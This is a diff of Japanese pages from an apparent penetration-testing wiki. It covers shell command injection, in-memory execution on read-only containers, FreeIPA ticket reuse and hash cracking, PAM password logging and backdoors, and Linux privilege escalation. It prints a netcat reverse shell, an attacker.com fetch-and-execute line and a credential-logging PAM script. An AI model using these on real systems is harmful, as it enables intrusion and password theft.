脆弱性により、最終的に `system()` または別のシェルに到達する引数を部分的に制御できる場合、実行がペイロードを読み始める正確なオフセットがわからないことがあります。従来の NOP スレッド(例: `\x90`)はシェル構文では**機能しません**が、Bash はコマンドを実行する前に先頭の空白を無害に無視します。
脆弱性により、最終的に `system()` または別のシェルに到達する引数を部分的に制御できる場合、実行がペイロードを読み始める正確なオフセットがわからないことがあります。従来の NOP スレッド(例: `\x90`)はシェル構文では **機能しません** が、Bash はコマンドを実行する前に先頭の空白を無害に無視します。
したがって、実際のコマンドの前に長いスペースまたはタブ文字のシーケンスを付加することで、*Bash 用の NOP スレッド*を作成できます:
```bash
@ -318,23 +318,23 @@ bypass-fs-protections-read-only-no-exec-distroless/
" nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command
```
もしROPチェーンまたは任意のメモリ破損プリミティブが命令ポインタをスペースブロック内のどこかに配置すると、Bashパーサーは単にホワイトスペースをスキップし、`nc`に到達しコマンドを確実に実行します。
もしROPチェーンまたは任意のメモリ破損プリミティブが命令ポインタをスペースブロック内のどこかに配置すると、Bashパーサーは単にホワイトスペースをスキップし、`nc`に到達しコマンドを確実に実行します。
実用的な使用例:
1. **メモリマップされた設定バイナリ**NVRAMで、プロセス間でアクセス可能なもの。
1. **メモリマップされた設定ブロブ**NVRAMで、プロセス間でアクセス可能なもの。
2. 攻撃者がペイロードを整列させるためにNULLバイトを書き込むことができない状況。
3. BusyBox `ash`/`sh`のみが利用可能な組み込みデバイス これらも先頭のスペースを無視します。
> 🛠️ このトリックをROPガジェットと組み合わせて`system()`を呼び出すことで、メモリ制約のあるIoTルーターでのエクスプロイトの信頼性を大幅に向上させます。
> 🛠️ このトリックを`system()`を呼び出すROPガジェットと組み合わせることで、メモリ制約のあるIoTルーターでのエクスプロイトの信頼性を大幅に向上させることができます。
## 参考文献とその他
## 参考文献と詳細
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
- [放棄されたハードウェアのゼロデイを悪用する Trail of Bitsブログ](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@
## 読み取り専用 / 実行不可シナリオ
Linuxマシンが**読み取り専用roファイルシステム保護**でマウントされていることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけでroファイルシステムでコンテナを実行することができます
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされていることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけでroファイルシステムでコンテナを実行することができます
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -33,7 +33,7 @@ securityContext:
## 最も簡単なバイパス: スクリプト
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行することができます**。例えば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
バイナリについて言及しましたが、インタープリタがマシン内にある限り、**任意のスクリプトを実行することができます**。例えば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
@ -43,28 +43,29 @@ securityContext:
### FD + execシステムコールバイパス
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存することができます。これはこれらの保護によって保護されず、次に**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**します。
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存することができます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**します。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコード**され、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍**するための指示を含むスクリプトが生成されます。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされた**スクリプトを指定された言語で生成し`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**手順と、実行するための**exec**システムコールを呼び出します。
> [!WARNING]
> これはPHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないからです**。したがって、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことはできません。
>
> さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても機能しません。なぜなら、**実行不可保護**が適用されるため、実行することは許可されないからです。
> さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**実行不可保護**が適用されるため、実行することは許可されないからです。
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**自分のプロセスのメモリを変更する**ことを可能にする技術です。これはその**`/proc/self/mem`**を上書きすることによって行われます。
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**技術です。
したがって、プロセスによって実行されているアセンブリコードを**制御することができ**、**シェルコード**を書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。
> [!TIP]
> **DDexec / EverythingExec**を使用すると、**メモリから**自分の**シェルコード**や**任意のバイナリ**を**ロードして実行**することができます。
> **DDexec / EverythingExec**を使用すると、**メモリ**から自分の**シェルコード**や**任意のバイナリ**を**ロードして実行**することができます。
```bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
```
この技術に関する詳細は、Githubを確認するか、次を参照してください
For more information about this technique check the Github or:
{{#ref}}
ddexec.md
@ -72,39 +73,40 @@ ddexec.md
### MemExec
[**Memexec**](https://github.com/arget13/memexec)は、DDexecの自然な次のステップです。これは**DDexecシェルコードのデーモン化**であり、異なるバイナリを**実行したいとき**にDDexecを再起動する必要はなく、DDexec技術を介してmemexecシェルコードを実行し、その後**このデーモンと通信して新しいバイナリを読み込んで実行する**ことができます。
[**Memexec**](https://github.com/arget13/memexec) は DDexec の自然な次のステップです。これは **DDexec シェルコードのデーモン化** であり、異なるバイナリを **実行したいとき** に DDexec を再起動する必要はなく、DDexec テクニックを介して memexec シェルコードを実行し、その後 **このデーモンと通信して新しいバイナリを読み込んで実行する** ことができます。
**memexecを使用してPHPリバースシェルからバイナリを実行する方法の例**は、[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。
**memexec を使用して PHP リバースシェルからバイナリを実行する方法の例**[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) で見つけることができます。
### Memdlopen
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリを読み込む**より簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
DDexec と同様の目的を持つ [**memdlopen**](https://github.com/arget13/memdlopen) テクニックは、**メモリにバイナリを読み込む** より簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
## Distroless Bypass
### Distrolessとは
### What is distroless
Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネントのみ**を含み、ライブラリやランタイム依存関係などを含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。
Distroless コンテナは、特定のアプリケーションやサービスを実行するために必要な **最小限のコンポーネント** のみを含み、ライブラリやランタイム依存関係などを含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。
Distrolessコンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。
Distroless コンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用される可能性のある脆弱性の数を最小限に抑えることです。
### リバースシェル
### Reverse Shell
Distrolessコンテナでは、通常のシェルを取得するための`sh``bash`が**見つからない**かもしれません。また、`ls``whoami``id`などのバイナリも見つかりません... システムで通常実行するすべてのものです。
Distroless コンテナでは、通常のシェルを取得するための `sh``bash`**見つけられない** かもしれません。また、`ls``whoami``id` などのバイナリも見つかりません... システムで通常実行するすべてのものです。
> [!WARNING]
> したがって、**リバースシェル**を取得したり、通常のように**システムを列挙**したりすることは**できません**
> したがって、**リバースシェル** を取得したり、通常のように **システムを列挙** することは **できません**
ただし、侵害されたコンテナが例えばflaskウェブを実行している場合、pythonがインストールされているため、**Pythonリバースシェル**を取得できます。nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
ただし、侵害されたコンテナが例えば Flask ウェブを実行している場合、Python がインストールされているため、**Python リバースシェル** を取得できます。Node を実行している場合は Node リバースシェルを取得でき、ほとんどの **スクリプト言語** でも同様です。
> [!TIP]
> スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
> スクリプト言語を使用することで、言語の機能を利用して **システムを列挙** することができます。
**`read-only/no-exec`**保護がない場合、リバースシェルを悪用して**ファイルシステムにバイナリを書き込み**、**実行**することができます。
**read-only/no-exec** 保護が **ない** 場合、リバースシェルを悪用して **ファイルシステムにバイナリを書き込み**それらを **実行** することができます。
> [!TIP]
> ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらを回避する**ことができます。
> ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行テクニックを使用してそれらを回避する** ことができます。
**RCE 脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例** は [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) で見つけることができます。
**RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,40 +4,40 @@
## 基本情報
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。これは、Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。SSSDはUnix認証プロセスのために統合されています。
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。これは、Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **証明書システム**を利用し、スマートカードを含む**多要素**認証をサポートしています。SSSDはUnix認証プロセスのために統合されています。
## フィンガープリン
## フィンガープリン
### ファイルと環境変数
- Kerberosクライアント情報は、ドメインへの登録に必要で、`/etc/krb5.conf`に保存されています。これにはKDCと管理サーバーの場所、デフォルト設定、およびマッピングが含まれます。
- IPAクライアントとサーバーのシステム全体のデフォルトは、`/etc/ipa/default.conf`に設定されています。
- `/etc/krb5.conf`にあるファイルは、ドメインへの登録に必要なKerberosクライアント情報が保存されている場所です。これにはKDCと管理サーバーの場所、デフォルト設定、およびマッピングが含まれます。
- IPAクライアントとサーバーのシステム全体のデフォルトは、`/etc/ipa/default.conf`あるファイルで設定されています。
- ドメイン内のホストは、認証プロセスのために`/etc/krb5.keytab``krb5.keytab`ファイルを持っている必要があります。
- Kerberos認証に関連する特定のファイルと設定を指すために、さまざまな環境変数(`KRB5CCNAME``KRB5_KTNAME``KRB5_CONFIG``KRB5_KDC_PROFILE``KRB5RCACHETYPE``KRB5RCACHEDIR``KRB5_TRACE``KRB5_CLIENT_KTNAME``KPROP_PORT`使用されます。
- 様々な環境変数(`KRB5CCNAME``KRB5_KTNAME``KRB5_CONFIG``KRB5_KDC_PROFILE``KRB5RCACHETYPE``KRB5RCACHEDIR``KRB5_TRACE``KRB5_CLIENT_KTNAME``KPROP_PORT`は、Kerberos認証に関連する特定のファイルや設定を指し示すために使用されます。
### バイナリ
`ipa``kdestroy``kinit``klist``kpasswd``ksu``kswitch``kvno`などのツールは、FreeIPAドメインの管理、Kerberosチケットの処理、パスワードの変更、サービスチケットの取得などの機能において中心的な役割を果たします。
`ipa``kdestroy``kinit``klist``kpasswd``ksu``kswitch``kvno`などのツールは、FreeIPAドメインの管理、Kerberosチケットの処理、パスワードの変更、サービスチケットの取得などの機能において重要です。
### ネットワーク
典型的なFreeIPAサーバーのセットアップを示す図があります。
典型的なFreeIPAサーバーのセットアップを示す図が提供されています。
## 認証
FreeIPAにおける認証は、**Kerberos**を利用して**Active Directory**のそれを反映しています。ドメインリソースへのアクセスには、有効なKerberosチケットが必要であり、これはFreeIPAドメインの設定に応じてさまざまな場所に保存されます。
FreeIPAにおける認証は、**Kerberos**を利用して**Active Directory**のそれを反映しています。ドメインリソースへのアクセスには、有効なKerberosチケットが必要であり、これはFreeIPAドメインの設定に応じて様々な場所に保存されます。
### **CCACHEチケットファイル**
CCACHEファイルは通常**`/tmp`**に**600**の権限で保存され、Kerberos資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしで認証を行うために重要です。CCACHEチケットの解析は`klist`コマンドを使用して行うことができ、有効なCCACHEチケットを再利用するには、`KRB5CCNAME`をチケットファイルのパスにエクスポートします。
CCACHEファイルは通常**`/tmp`**に**600**の権限で保存され、Kerberos資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしで認証を行うために重要です。CCACHEチケットの解析は`klist`コマンドを使用して行うことができ、有効なCCACHEチケットを再利用するには、`KRB5CCNAME`をチケットファイルのパスにエクスポートします。
### **Unixキーレング**
代わりに、CCACHEチケットはLinuxキーレングに保存でき、チケット管理に対するより多くの制御を提供します。チケットストレージの範囲は`KEYRING:name``KEYRING:process:name``KEYRING:thread:name``KEYRING:session:name``KEYRING:persistent:uidnumber`)異なり、`klist`はユーザーのためにこの情報を解析できます。ただし、UnixキーレングからCCACHEチケットを再利用することは課題を伴う場合があり、Kerberosチケットを抽出するための**Tickey**のようなツールが利用可能です。
代わりに、CCACHEチケットはLinuxキーレングに保存でき、チケット管理に対するより多くの制御を提供します。チケットストレージの範囲は`KEYRING:name``KEYRING:process:name``KEYRING:thread:name``KEYRING:session:name``KEYRING:persistent:uidnumber`)異なり、`klist`はユーザーのためにこの情報を解析できます。しかし、UnixキーレングからCCACHEチケットを再利用することは課題を伴う場合があり、Kerberosチケットを抽出するための**Tickey**のようなツールが利用可能です。
### キータブ
Kerberosプリンシパルと暗号化されたキーを含むキータブファイルは、プリンシパルのパスワードを必要とせずに有効なチケット付与チケットTGTを取得するために重要です。キータブファイルからの資格情報の解析と再利用は、`klist`や**KeytabParser**のようなスクリプトを使用して簡単に行えます。
Kerberosプリンシパルと暗号化されたキーを含むキータブファイルは、プリンシパルのパスワードを必要とせずに有効なチケット付与チケットTGTを取得するために重要です。キータブファイルからの資格情報の解析と再利用は、`klist`のようなユーティリティや**KeytabParser**のようなスクリプトを使用して簡単に行えます。
### チートシート
@ -50,7 +50,7 @@ privilege-escalation/linux-active-directory.md
## 列挙
> [!WARNING]
> **ldap**や他の**バイナリ**ツールを介して、または**FreeIPAサーバーのポート443に接続することによって**、**列挙**を行うことができます。
> **ldap**や他の**バイナリ**ツールを使用して**列挙**を行うことができるほか、**FreeIPAサーバーのポート443に接続する**ことも可能です。
### ホスト、ユーザー、およびグループ <a href="#id-4b3b" id="id-4b3b"></a>
@ -60,7 +60,7 @@ FreeIPAでは、LDAPサーバーはデフォルトで**匿名バインド**を
```
ldapsearch -x
```
**詳細情報**を取得するには、**認証された**セッションを使用する必要があります(認証セクションを確認して、認証されたセッションを準備する方法を学んでください)。
**詳細情報**を取得するには、**認証された**セッションを使用する必要があります(認証セクションを確認して、認証されたセッションの準備方法を学んでください)。
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -74,7 +74,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
ドメインに参加しているマシンから、**インストールされたバイナリ**を使用してドメインを列挙できます:
ドメインに参加しているマシンから、**インストールされたバイナリ**を使用してドメインを列挙することができます:
```bash
ipa user-find
ipa usergroup-find
@ -88,33 +88,33 @@ ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
> [!NOTE]
> [!TIP]
> **FreeIPA**の**admin**ユーザーは、**AD**の**domain admins**に相当します。
### Hashes <a href="#id-482b" id="id-482b"></a>
### ハッシュ <a href="#id-482b" id="id-482b"></a>
**IPAサーバー**の**root**ユーザーは、パスワードの**ハッシュ**にアクセスできます。
- ユーザーのパスワードハッシュは、**userPassword** **属性**に**base64**として保存されます。このハッシュは**SSHA512**古いバージョンのFreeIPAまたは**PBKDF2_SHA256**である可能性があります。
- ユーザーのパスワードハッシュは、“**userPassword**”**属性**に**base64**として保存されています。このハッシュは**SSHA512**古いバージョンのFreeIPAまたは**PBKDF2_SHA256**である可能性があります。
- システムが**AD**と**統合**されている場合、パスワードの**Nthash**は“**ipaNTHash**”に**base64**として保存されます。
これらのハッシュをクラックするには:
freeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード** -> **ASCII**の16進数として再エンコード -> John The Ripperまたは**hashcat**が迅速にクラックするのを助けてくれます
FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード**して、**ASCII**の16進数に再エンコードし、John The Ripperまたは**hashcat**を使用して迅速にクラックできます。
• 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます:**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**がクラックするのを助けてくれます
• 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます:**base64**をデコードして、SSHA512の**ハッシュ**を見つけ、John The Ripperまたは**hashcat**を使用してクラックできます。
• 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2_SHA256**が使用されます:**base64**をデコード -> PBKDF2_SHA256を見つける -> **長さ**は256バイトです。Johnは256ビット32バイトで動作できます -> SHA-265が擬似乱数関数として使用され、ブロックサイズは32バイトです -> PBKDF2_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatがクラックするのを助けてくれます
• 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2_SHA256**が使用されます:**base64**をデコードして、PBKDF2_SHA256を見つけます。その**長さ**は256バイトです。Johnは256ビット32バイトで動作できます。SHA-265が擬似乱数関数として使用され、ブロックサイズは32バイトです。PBKDF2_SHA256ハッシュの最初の256ビットのみを使用できます。John The Ripperまたはhashcatを使用してクラックできます。
<figure><img src="../images/image (655).png" alt=""><figcaption></figcaption></figure>
ハッシュを抽出するには、**FreeIPAサーバーのroot**である必要があります。そこで、ツール**`dbscan`**を使用してそれらを抽出できます:
ハッシュを抽出するには、**FreeIPAサーバーのroot**である必要があります。そこで、ツール**`dbscan`**を使用して抽出できます:
<figure><img src="../images/image (293).png" alt=""><figcaption></figcaption></figure>
### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
### HBACルール <a href="#id-482b" id="id-482b"></a>
リソース(ホスト、サービス、サービスグループなど)に対してユーザーまたはホストに特定の権限を付与するルールがあります。
特定のリソース(ホスト、サービス、サービスグループなど)に対してユーザーまたはホストに特定の権限を付与するルールす。
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -125,7 +125,7 @@ ipa hbacrule-show <hbacrule> --all
```
#### Sudo-Rules
FreeIPAは、sudo-rulesを介して**sudo権限**の集中管理を可能にします。これらのルールは、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限します。攻撃者は、これらのルールセットを調査することで、適用可能なホスト、ユーザー、および許可されたコマンドを特定する可能性があります。
FreeIPA**sudo permissions** に対する中央集権的な制御を sudo-rules を通じて可能にします。これらのルールは、ドメイン内のホストで sudo を使用してコマンドを実行することを許可または制限します。攻撃者は、これらのルールセットを調ることで、適用可能なホスト、ユーザー、および許可されたコマンドを特定する可能性があります。
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -134,17 +134,17 @@ ipa sudorule-find
# Show info of rule
ipa sudorule-show <sudorule> --all
```
### ロールベースアクセス制御
### ロールベースアクセス制御
**ロール**は、さまざまな**特権**で構成されており、それぞれが一連の**権限**を含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えて、この構造を例示します。
A **role** is comprised of various **privileges**, each of which encompasses a collection of **permissions**. These roles can be assigned to Users, User **Groups**, **Hosts**, Host Groups, and Services. For instance, consider the default “User Administrator” role in FreeIPA to exemplify this structure.
ロール`User Administrator`には、次の特権があります:
The role `User Administrator` has these privileges:
- **ユーザー管理者**
- **グループ管理者**
- **ステージユーザー管理者**
- **User Administrators**
- **Group Administrators**
- **Stage User Administrators**
次のコマンドを使用すると、ロール、特権、および権限を列挙することができます:
With the following commands it's possibel to enumerate the roles, privileges and permissions:
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -170,9 +170,9 @@ ipa permission-show <permission> --all
### ~~rootユーザーの作成~~
> [!WARNING]
> **`root`という名前の新しいユーザーを作成できる場合、** 彼になりすますことができ、**rootとして任意のマシンにSSH接続できるようになります。**
> **`root`という名前の新しいユーザーを作成できる場合、** 彼を偽装することができ、**rootとして任意のマシンにSSH接続できるようになります。**
>
> **これはパッチが適用されています。**
> **これはパッチされています。**
[https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) で詳細な説明を確認できます。

View File

@ -4,7 +4,7 @@
## PAMを使用したログインパスワードのスニッフィング
各ユーザーがログインに使用するパスワードをログに記録するためにPAMモジュールを設定しましょう。PAMが何か分からない場合は、以下を確認してください
各ユーザーがログインに使用するパスワードを記録するためにPAMモジュールを設定しましょう。PAMが何か分からない場合は、以下を確認してください
{{#ref}}
pam-pluggable-authentication-modules.md
@ -19,7 +19,7 @@ pam-pluggable-authentication-modules.md
- `toomanysecrets.sh`という名前のbashスクリプトが作成され、ログイン試行を記録し、日付、ユーザー名`$PAM_USER`、パスワードstdin経由、およびリモートホストIP`$PAM_RHOST`)を`/var/log/toomanysecrets.log`にキャプチャします。
- スクリプトは実行可能にされ、`pam_exec.so`モジュールを使用してPAM設定`common-auth`)に統合され、静かに実行し、認証トークンをスクリプトに公開するオプションが付与されます。
- このアプローチは、侵害されたLinuxホストがどのようにして資格情報を密かにログに記録するために悪用されるかを示しています。
- このアプローチは、侵害されたLinuxホストが資格情報を密かに記録するためにどのように悪用されるかを示しています。
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -33,9 +33,9 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
**詳細については[元の投稿](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です:
Pluggable Authentication Module (PAM)は、Linuxでユーザー認証に使用されるシステムです。これは、**ユーザー名**、**パスワード**、および**サービス**の3つの主要な概念に基づいてます。各サービスの設定ファイルは`/etc/pam.d/`ディレクトリにあり、共有ライブラリが認証を処理します。
Pluggable Authentication Module (PAM)は、Linuxでユーザー認証に使用されるシステムです。これは、**ユーザー名**、**パスワード**、および**サービス**の3つの主要な概念に基づいて動作します。各サービスの設定ファイルは`/etc/pam.d/`ディレクトリにあり、共有ライブラリが認証を処理します。
**目的**特定のパスワードでの認証を許可するようにPAMを変更し、実際のユーザーパスワードをバイパスします。これは、パスワード検証のためにほぼすべてのサービスに含まれる`common-auth`ファイルで使用される`pam_unix.so`共有ライブラリに特に焦点を当てています。
**目的**特定のパスワードでの認証を許可するようにPAMを変更し、実際のユーザーパスワードをバイパスします。これは、パスワード検証のためにほぼすべてのサービスによって含まれる`common-auth`ファイルで使用される`pam_unix.so`共有ライブラリに特に焦点を当てています。
### `pam_unix.so`の変更手順:
@ -43,11 +43,11 @@ Pluggable Authentication Module (PAM)は、Linuxでユーザー認証に使用
- ユーザーのパスワードを確認する責任がある行は`pam_unix.so`を呼び出します。
2. **ソースコードを変更**
- `pam_unix_auth.c`ソースファイルに、事前定義されたパスワードが使用された場合にアクセスを許可する条件文を追加し、そうでない場合は通常の認証プロセスを続行します。
3. **再コンパイルして**、適切なディレクトリに変更された`pam_unix.so`ライブラリを置き換えます
3. **修正された`pam_unix.so`ライブラリを適切なディレクトリに再コンパイルして置き換えます**
4. **テスト**
- 事前定義されたパスワードでさまざまなサービスログイン、ssh、sudo、su、スクリーンセーバーにアクセスが許可され、通常の認証プロセスには影響がありません。
> [!NOTE]
> このプロセス[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)で自動化できます。
> [!TIP]
> このプロセス[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)で自動化できます。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
### OS情報
まず、実行中のOSについての知識を得ることから始めましょう。
OSの知識を得ることから始めましょう。
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
もし**`PATH`** 変数内の任意のフォルダーに書き込み権限がある場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります:
もしあなたが`PATH`変数内の任意のフォルダーに**書き込み権限を持っている場合**、いくつかのライブラリやバイナリをハイジャックできるかもしれません:
```bash
echo $PATH
```
@ -43,9 +43,9 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者で実行、カーネル2.xの脆弱性のみをチェック)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) 被害者で実行、カーネル2.xの脆弱性のみをチェック
常に**Googleでカーネルバージョンを検索**してください。おそらくあなたのカーネルバージョンがいくつかのカーネル脆弱性に記載されており、その場合、の脆弱性が有効であることが確認できます。
常に**Googleでカーネルバージョンを検索**してください。おそらくあなたのカーネルバージョンがいくつかのカーネル脆弱性に記載されており、その場合、の脆弱性が有効であることが確認できます。
### CVE-2016-5195 (DirtyCow)
@ -73,7 +73,7 @@ From @sickrov
```
sudo -u#-1 /bin/bash
```
### Dmesg署名検証に失敗しました
### Dmesg署名検証に失敗しました
**smasher2 box of HTB**の**例**を確認して、この脆弱性がどのように悪用されるかを見てください。
```bash
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
また、**コンパイラがインストールされているかどうかを確認してください**。これは、カーネルエクスプロイトを使用する必要がある場合に便利です。使用するマシン(または類似のマシン)でコンパイルすることが推奨されます。
また、**任意のコンパイラがインストールされているか確認してください**。これは、カーネルエクスプロイトを使用する必要がある場合に便利です。使用するマシン(または類似のマシン)でコンパイルすることが推奨されます。
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@ -162,13 +162,13 @@ SSHアクセスがある場合、**openVAS**を使用して、マシンにイン
## プロセス
実行中の**プロセス**を確認し、どのプロセスが**必要以上の特権を持っているか**をチェックしてください例えば、rootによって実行されているtomcatなど
実行中の**プロセス**を確認し、**権限が過剰なプロセス**がないかチェックしてください例えば、rootによって実行されているtomcatなど
```bash
ps aux
ps -ef
top -n 1
```
常に可能な [**electron/cef/chromiumデバッガー**] が実行されているか確認してください。これを悪用して特権を昇格させることができます。 **Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
